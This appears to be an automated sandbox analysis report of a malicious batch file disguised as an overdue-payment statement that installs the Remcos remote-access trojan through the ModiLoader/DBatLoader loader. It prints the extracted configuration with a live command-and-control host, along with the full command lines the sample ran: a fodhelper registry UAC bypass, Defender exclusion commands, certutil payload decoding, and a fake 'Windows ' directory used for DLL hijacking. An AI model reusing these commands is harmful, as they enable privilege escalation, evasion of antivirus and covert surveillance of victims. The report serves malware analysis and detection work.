Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-03-2024 02:42

General

  • Target

    Statement Of Account - Overdue Payments #94839540823489.bat

  • Size

    2.9MB

  • MD5

    0acc894a421b72f77d8f825865710ec4

  • SHA1

    e51bfe768ece4a254a5f85c977fa65dfa963c3b8

  • SHA256

    e03f365bff6dc4429c91f0ebd0bfdbf6eadaeb3c3cf4b3b30ecb8e9797f46c5e

  • SHA512

    4faafabc07bf132657e54b4107b97dc339143439a26802589a5aae94325e38e2a37766a647baa42b1a6ee069aa2bae3f6ffc12eb6b5c7fac64a7ee06cd169f02

  • SSDEEP

    24576:yn8Rm6aVrLy7bOkM75parJLzx60bCNB0PEsNl36h3vKYtKYKCgsX9t6HtzA6GC89:KomdNy7bOT5u9zgApY

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

jaztc.duckdns.org:1808

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    sfsfdrgrre

  • mouse_option

    false

  • mutex

    Rmc-AJ5P19

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 14 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Statement Of Account - Overdue Payments #94839540823489.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4448
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:812
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:3460
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4728
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:4008
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2844
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3668
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4136
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:4040
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                  PID:3288
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Statement Of Account - Overdue Payments #94839540823489.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1980
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Statement Of Account - Overdue Payments #94839540823489.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                3⤵
                • Executes dropped EXE
                PID:2764
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2512
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                3⤵
                • Executes dropped EXE
                PID:3532
            • C:\Users\Public\Libraries\Lewxa.com
              C:\\Users\\Public\\Libraries\\Lewxa.com
              2⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:1140
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                3⤵
                  PID:3084
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c mkdir "\\?\C:\Windows \System32"
                  3⤵
                    PID:1592
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\Windows \System32\1539292.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3668
                    • C:\Windows \System32\1539292.exe
                      "C:\Windows \System32\1539292.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:2948
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4680
                        • C:\Windows\system32\cmd.exe
                          cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          6⤵
                            PID:2184
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                              7⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3684
                    • C:\Windows\SysWOW64\extrac32.exe
                      C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Dkqvtjke.PIF
                      3⤵
                        PID:636
                      • C:\Windows\SysWOW64\colorcpl.exe
                        C:\Windows\System32\colorcpl.exe
                        3⤵
                        • Suspicious use of SetWindowsHookEx
                        PID:4128
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:1032
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:4924
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:4888
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:2340
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2000
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM SystemSettings.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:464
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:372
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM SystemSettingsAdminFlows.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3104
                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                    1⤵
                      PID:5036

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\ProgramData\sfsfdrgrre\logs.dat

                      Filesize

                      144B

                      MD5

                      4ae47b42524dc71d8cff7d9bb8f1b4da

                      SHA1

                      53ac3fc7a75d961cca356119652dd859a6ab429d

                      SHA256

                      d4d614692cb75674fbbcd359c710108a6fe0fc7ffee4b58a3c73d52135c63cd1

                      SHA512

                      61a374e9da48249c49693cd41b522175d80477e6c22e3713724fc21d742834d917fae4ea42682ab25a313212cebd8cc96726c51bf1adc9e798076d8ec1e1f6f6

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      64B

                      MD5

                      d8b9a260789a22d72263ef3bb119108c

                      SHA1

                      376a9bd48726f422679f2cd65003442c0b6f6dd5

                      SHA256

                      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                      SHA512

                      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3nurkkz.2wp.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Public\Lewxa.txt

                      Filesize

                      2.0MB

                      MD5

                      cde0e4350f0886229b0a605810fbe397

                      SHA1

                      2ebdce74856c9e858064bbf53b2c8c46c20a58da

                      SHA256

                      f577452dfa0c5aab1f574fd66e8c4430687731ad062916f0b7db09189dede263

                      SHA512

                      c9f15d848b499325e6a4185416af67a41cbec16884d726244bc638e52928744dc91092eaab91e224ecbf4895342c95c6ca97c8002eecc298c2ee75e0bf5c000c

                    • C:\Users\Public\Libraries\Lewxa.com

                      Filesize

                      1.0MB

                      MD5

                      701a1b8de275a64ad562d862d7e117d4

                      SHA1

                      a6dcd9f802a20fa07bd2f569b0761244ab5803a7

                      SHA256

                      f5ad3a45f4bea88e28aa2c541ee13ab28fa68a29af572ce2ca02960464d601ad

                      SHA512

                      085a5becd2c1ceac9a0dfefdc0dc663d598062b2bfef24e3709b0998924f98836eaa0d66bc21dbda9842fead17443fbd3b69febd620639b8e1921d3b0e797a32

                    • C:\Users\Public\Libraries\Lewxa.com

                      Filesize

                      960KB

                      MD5

                      454d7ede2fd6b75127bd73932745e230

                      SHA1

                      21bc8235297056f534011059597848c96e727e54

                      SHA256

                      aab36eb9f1fb662822a14c0aff6edf03e6c1e85aeb32c56f97127253952284f7

                      SHA512

                      dcaa59e7974bebde651e57c07db492c97d3a3440e850ae7669d62eb9732a83e4989ef8dc28d229711b6ae7b74821ead7e46ab583524b8754a19ccf4eaa65ab20

                    • C:\Users\Public\alpha.exe

                      Filesize

                      251KB

                      MD5

                      70d49cc6851016255cac54374fbb9e2f

                      SHA1

                      0ff64e7ddafadc7f40df18a85bc6d57e6bf12983

                      SHA256

                      66dc2e2c99cb0cede3bb14f0c2190a3613b36c999255243878f83130d86cadbe

                      SHA512

                      0c6a509aaabc30c44be6d3c38efa9ef51fc36b73ab25ad483c624750b832e4b6cdee10ec724435dae9deb2947cbf886935b1a73d823259c546397bdb5326658f

                    • C:\Users\Public\alpha.exe

                      Filesize

                      283KB

                      MD5

                      8a2122e8162dbef04694b9c3e0b6cdee

                      SHA1

                      f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                      SHA256

                      b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                      SHA512

                      99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                    • C:\Users\Public\kn.exe

                      Filesize

                      1.6MB

                      MD5

                      bd8d9943a9b1def98eb83e0fa48796c2

                      SHA1

                      70e89852f023ab7cde0173eda1208dbb580f1e4f

                      SHA256

                      8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                      SHA512

                      95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                    • C:\Users\Public\xkn.exe

                      Filesize

                      442KB

                      MD5

                      04029e121a0cfa5991749937dd22a1d9

                      SHA1

                      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                      SHA256

                      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                      SHA512

                      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                    • C:\Windows \System32\1539292.exe

                      Filesize

                      128KB

                      MD5

                      231ce1e1d7d98b44371ffff407d68b59

                      SHA1

                      25510d0f6353dbf0c9f72fc880de7585e34b28ff

                      SHA256

                      30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                      SHA512

                      520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                    • C:\Windows \System32\netutils.dll

                      Filesize

                      112KB

                      MD5

                      fa7aa88417d0c48807144a1a48fe3fbc

                      SHA1

                      6f5ec990b12d4a6075050a94e0d68d03781fa46d

                      SHA256

                      2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

                      SHA512

                      99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

                    • C:\windows \system32\KDECO.bat

                      Filesize

                      11KB

                      MD5

                      c545650595b479c81ad6b9d8882aae39

                      SHA1

                      7a98aa2e6eee23b3c1bba876955d525bc618b3f0

                      SHA256

                      a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

                      SHA512

                      85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

                    • memory/1140-93-0x0000000000800000-0x0000000000801000-memory.dmp

                      Filesize

                      4KB

                    • memory/1140-50-0x0000000004050000-0x0000000005050000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/1140-52-0x0000000004050000-0x0000000005050000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/1140-59-0x0000000000400000-0x000000000050F000-memory.dmp

                      Filesize

                      1.1MB

                    • memory/1140-48-0x0000000000800000-0x0000000000801000-memory.dmp

                      Filesize

                      4KB

                    • memory/2948-70-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      Filesize

                      140KB

                    • memory/3668-17-0x0000029BCC5E0000-0x0000029BCC602000-memory.dmp

                      Filesize

                      136KB

                    • memory/3668-28-0x0000029BCC5D0000-0x0000029BCC5E0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3668-23-0x00007FFA4D9D0000-0x00007FFA4E491000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3668-29-0x0000029BCC5D0000-0x0000029BCC5E0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3668-34-0x00007FFA4D9D0000-0x00007FFA4E491000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3684-77-0x00007FFA4B160000-0x00007FFA4BC21000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/3684-78-0x0000014256CD0000-0x0000014256CE0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3684-83-0x0000014256CD0000-0x0000014256CE0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3684-87-0x00007FFA4B160000-0x00007FFA4BC21000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/4128-95-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-98-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-99-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-100-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-101-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-102-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-104-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-106-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-107-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-97-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-114-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-115-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-130-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/4128-131-0x0000000001020000-0x0000000002020000-memory.dmp

                      Filesize

                      16.0MB